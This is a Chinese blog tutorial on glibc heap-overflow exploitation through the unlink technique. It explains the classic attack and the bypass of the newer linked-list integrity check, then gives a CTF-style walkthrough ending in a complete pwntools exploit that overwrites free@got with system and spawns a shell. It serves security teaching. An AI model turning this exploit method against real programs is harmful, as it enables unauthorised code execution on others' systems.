堆溢出之unlink的利用-1

堆溢出之unlink的利用-1

这段时间在研究堆相关的溢出利用,本文主要介绍堆溢出的unlink利用方法,主要分三部分

一、经典的unlink利用方法
二、在新的glibc的保护下如何绕过进行unlink利用
三、通过一个栗子实践

想要真正深入了解unlink的利用方法,介意提前了解一下glibc的malloc

传送门1

传送门2

传送门3

网上相关的资料有不少,可以自行查找。

0x00经典的unlink利用方法

我们可以在 malloc.c 中找到关于堆 chunk 结构的代码

#!c
struct malloc_chunk {
    INTERNAL_SIZE_T    prev_size;  /* Size of previous chunk (if free).  */
    INTERNAL_SIZE_T    size;     /* Size in bytes, including overhead. */
    struct malloc_chunk* fd;       /* double links -- used only if free. */
    struct malloc_chunk* bk;
    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
 };

这指明了一个 heap chunk 是如下的结构

#!c
+-----------+---------+------+------+-------------+
|           |         |      |      |             |
|           |         |      |      |             |
| prev_size |size&Flag|  fd  |  bk  |             |
|           |         |      |      |             |
|           |         |      |      |             |
+-----------+---------+------+------+-------------+

如果本 chunk 前面的 chunk 是空闲的,那么第一部分 prev_size 会记录前面一个 chunk 的大小,第二部分是本 chunk 的 size ,因为它的大小需要8字节对齐,所以 size 的低三位一定会空闲出来,这时候这三个位置就用作三个 Flag (最低位:指示前一个 chunk 是否正在使用;倒数第二位:指示这个 chunk 是否是通过 mmap 方式产生的;倒数第三位:这个 chunk 是否属于一个线程的 arena )。之后的FD和BK部分在此 chunk 是空闲状态时会发挥作用。FD指向下一个空闲的 chunk ,BK指向前一个空闲的 chunk ,由此串联成为一个空闲 chunk 的双向链表。如果不是空闲的。那么从fd开始,就是用户数据了。详细的堆块结构在我的上一篇博客中有介绍。

用一个大家都喜欢用的栗子说明一下:

#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
    char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
    if(argc!=1)
/*[3]*/     strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

此程序的堆结构如下:

+---------------------+   <--first chunk ptr
|     prev_size       |
+---------------------+
|     size=0x201      |          
+---------------------+   <--first                  
|                     |                
|     allocated       |         
|      chunk          |      
+---------------------+   <--second chunk ptr                
|    prev_size        |         
+---------------------+                     
|    size=0x11        |         
+---------------------+   <--second                  
|     Allocated       |         
|       chunk         |     
+---------------------+   <-- top                  
|     prev_size       |            
+---------------------+                     
|    size=0x205d1     |           
+---------------------+                      
|                     |
|                     |
|                     |
|        TOP          |   
|                     |
|       CHUNK         |    
|                     |
+---------------------+

只要我们通过溢出构造,使得second chunk

prev_size=任意值
size=-4(因为最低位的flag没有设置,所以prev_size是什么值是无所谓了)
fd=free@got-12(修改got的原理不清楚的同学可以查阅一下“延迟绑定技术”)
bk=shellcode地址

在我们的payload将指定位置的数值改好后。第四行执行 free(first) 发生如下操作

1).检查是否可以向后合并

首先需要检查 previous chunk 是否是空闲的(通过当前 chunk size 部分中的 flag 最低位去判断),当然在这个例子中,因为在默认情况下,堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。

如果为free的话,那么就进行向后合并:

1)将前一个chunk占用的内存合并到当前chunk;

2)修改指向当前chunk的指针,改为指向前一个chunk。

3)使用unlink宏,将前一个free chunk从双向循环链表中移除。

前一个 chunk 是正在使用的,不满足向后合并的条件。

2).检查是否可以向前合并

在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于 chunk first 而言的)的过程中,首先当前 chunk+ 当前 size 可以引导到下个 chunk ,然后从下个 chunk 的开头加上下个 chunk 的 size 就可以引导到下下个 chunk 。但是我们已经把下个 chunk 的 size 覆盖为了-4,那么它会认为下个 chunk 从 prev_size 开始就是下下个chunk了,既然已经找到了下下个 chunk ,那就就要去看看 size 的最低位以确定下个 chunk 是否在使用,当然这个 size 是 -4 ,所以它指示下个 chunk 是空闲的。

在这个时候,就要发生向前合并了。即 first chunk 会和 first chunk 的下个 chunk (即 second chunk )发生合并。在此时会触发 unlink(second) 宏,想将 second 从它所在的 bin list 中解引用。

具体如下

BK=second->bk(在例子中bk实际上是shellcode的地址)
FD=second->fd (在例子中fd实际上是free@got的地址 - 12)
FD->bk=BK
/*shellcode的地址被写进了FD+12的位置,但是FD是free@got的地址-12,所以实际上我们已经把shellcode地址写入了free@got*/
BK->fd=FD 

执行 unlink 宏之后,再调用 free 其实就是调用 shellcode ,这时就可以执行任意命令了。

这里在网上找到一个比较形象的图来看比较容易懂

0x01 在新的glibc的保护下如何绕过进行unlink利用

在新的glibc中给我造成最阻碍的是双链表冲突检测,该机制会在执行unlink操作的时候检测链表中前一个chunk的fd与后一个chunk的bk是否都指向当前需要unlink的chunk。这样攻击者就无法替换second chunk的fd与fd了。相关代码如下:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \

这段代码被添加到了 unlink 宏中,所以现在再调用 unlink 宏的时候, chunk 指针 P->fd->bk (即代码中的大写 FD->bk )应该还是p指针自己。对于 BK->fd != p 这部分也是同样的道理。

我们在此记 FD=p->fd , BK=p->bk ,再去看 FD->bk 已经是 free@got 了,BK->fd也是同样的道理,所以如上文的利用方法已经不能成功了。之所以介绍上一个方法就是为了更好的理解掌握绕过这个检测机制。

想要绕过这里我们需要找一个指向 p 的的已知的地址,然后根据这个地址去设置伪造的fd和bk指针就能改掉原 p 指针。

以64bit为例,假设找到了一个已知地址的ptr是指向p(p指向堆上的某个地方)的,通过堆溢出,我们可以做如下的修改。

p->fd=ptr-0x18
p->bk=ptr-0x10

布置好如此结构后,再触发unlink宏,会发生如下情况。

1.FD=p->fd(实际是ptr-0x18)
2.BK=p->bk(实际是ptr-0x10)
3.检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*ptr(即p),由此可以过掉这个限制
4.FD->bk=BK
5.BK->fd=FD(p=ptr-0x18)

这时候再对p进行写入,可以覆盖掉p原来的值,例如我们用合适的 payload 将 free@got 写入。p就变成了 free@got ,那么再改一次p,把 free@got 改为 shellcode 的地址或者说 system 的地址都可以。之后再调用free功能,就可以任意命令执行。

0x02 这个栗子不好找

想要栗子点我

基本信息如下:

@ubuntu:~/Desktop$ file heap 
heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=64e438b7c6d9b4214730c4c8d5c12dec97928709, stripped

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

漏洞比较好找,就在程序的第二个函数里,如下:buf的大小是由使用者自己定义的,read大小0x400的字节可以造成溢出。

那么我们就可以通过上面的套路来解这个题目了。

按照前文所介绍的,我们希望使用Unlink的方法去利用这个堆溢出漏洞。首先,我们要找一个指向堆上某处的指针。因为存储malloc返回指针的全局数组的存在,这让我们的利用变得异常的简单。因为bss段的地址也是固定的,我们可以知道,从而设置满足需要的bk和fd指针,下面介绍具体步骤。

1.我们可以首先分配两个长度合适的堆块。(如下图所示)

chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
|                     |                     |             |
+-----------+---------+---+---+-------------+------+------+----+----+------+
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             | prev | size&|    |    |      |
| prev_size |size&Flag|   |   |             | size | flag |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
+-----------+---------+---+---+-------------+------+------+----+----+------+

这时候这两块的fd和bk区域其实都是空的,因为他们都是正在使用的

2.对第一块进行编辑,编辑的过程中设置好第零块的bk和fd指针并溢出第一块,改好第一块的chunk头的控制信息(如下图所示)

chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
|                     |                        |             |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
|           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
| prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
|           |         |    |    |    |    | A  |      |      |    |    |      |
|           |         |    |    |    |    |    |      |      |    |    |      |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
                      |--------new_size--------|
                      list


l32(0)  +  l32(0x88)  +  l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
#   4bytes        4bytes     4bytes    4bytes    128-4*4

#pre_size   +   size&flag
l32(0x80) + l32(0x88) 将flag置0
free(chunk_1)

我们为了欺骗glibc,让它以为堆块零malloc返回的指针(我们后文中简记为p)出就是chunk0指针,所以我们伪造了prev_size和size的部分,然后溢出堆块1,改掉第1个堆块的prev_size,数值应该是上图所示 new_size 的大小;另外第1块的size部分还要把prev_inuse的flag给去掉。如此就做好了unlink触发之前的准备工作

3.删掉chunk1,触发unlink(p),将p给改写。

在删除堆块1时,glib会检查一下自己的size部分的prev_inuse FLAG,发现到到比较早的一个chunk是空闲的(实际是我们伪造的),glibc希望将即将出现的两个空闲块合并。glibc会先将chunk0从它的Binlist中解引用,所以触发unlink(p)。

1).FD=p->fd(实际是0x8049d60-0xc,因为全局数组里面指向p的那个指针就是0x8049d60)
2).BK=p->bk(实际是0x8049d60-0x8)
3).检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*0x8049d60(即p),由此可以过掉这个限制
4).FD->bk=BK
5).BK->fd=FD(p=0x8049d60-0x8)
4.对p再次写入,修改p为free@got地址

5.现在p已经是free@got了,我们只要使用DynELF功能便可以知道system函数的真实地址,进而算出libc的基址来过掉ASLR。

6.向p再次写入便可以将free@got改为system函数。

7.因为free已经变成了system,只要再建立一个内容为 /bin/sh 的块,再删掉,就可以得到shell,由此全部利用完成。

具体的exp如下:

from pwn import *
#context.log_level = 'debug'

p = process('./heap')

chunk_list = 0x8049d60
free_got = 0x8049ce8

flag = 0
def leak(addr):
    data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
    global flag
    if flag == 0:
        set_chunk(0, data)
        flag = 1
    else:
        set_chunk2(0, data)
    res = ""
    p.recvuntil('5.Exit\n')
    res = print_chunk(1)
    print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
    return res[0:4]

def add_chunk(len):
    print p.recvuntil('\n')
    p.sendline('1')
    print p.recvuntil('add:')
    p.sendline(str(len))

def set_chunk(index,data):
    p.recvuntil('5.Exit\n')
    p.sendline('2')
    p.recvuntil('Set chunk index:')
    p.sendline(str(index))
    p.recvuntil('Set chunk data:')
    p.sendline(data)

def set_chunk2(index, data):
    p.sendline('2')
    p.recvuntil('Set chunk index:')
    p.sendline(str(index))
    p.recvuntil('Set chunk data:')
    p.sendline(data)

def del_chunk(index):
    p.recvuntil('\n')
    p.sendline('3')
    p.recvuntil('Delete chunk index:')
    p.sendline(str(index))

def print_chunk(index):
    p.sendline('4')
    p.recvuntil('Print chunk index:')
    p.sendline(str(index))
    res = p.recvuntil('5.Exit\n')
    return res



raw_input('add_chunk'+'\n')
add_chunk(128)  #0
add_chunk(128)  #1
add_chunk(128)  #2
add_chunk(128)  #3
set_chunk(3, '/bin/sh')


#fake_chunk
payload = ""
payload += p32(0) + p32(0x88) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk 
payload += p32(0x80) + p32(0x88)

set_chunk(0,payload)

#get the pointer
del_chunk(1)

set_chunk(0, 'A' * 12 + p32(chunk_list-0xc) + p32(0x8048420))   #p32(0x8048420) which addr is ok 

raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)

raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)

set_chunk2('1', p32(sys_addr))

del_chunk('3')
p.interactive()
p.close()
文章目录
  1. 1. 堆溢出之unlink的利用-1
    1. 1.1. 0x00经典的unlink利用方法
      1. 1.1.1. 1).检查是否可以向后合并
      2. 1.1.2. 2).检查是否可以向前合并
    2. 1.2. 0x01 在新的glibc的保护下如何绕过进行unlink利用
    3. 1.3. 0x02 这个栗子不好找
|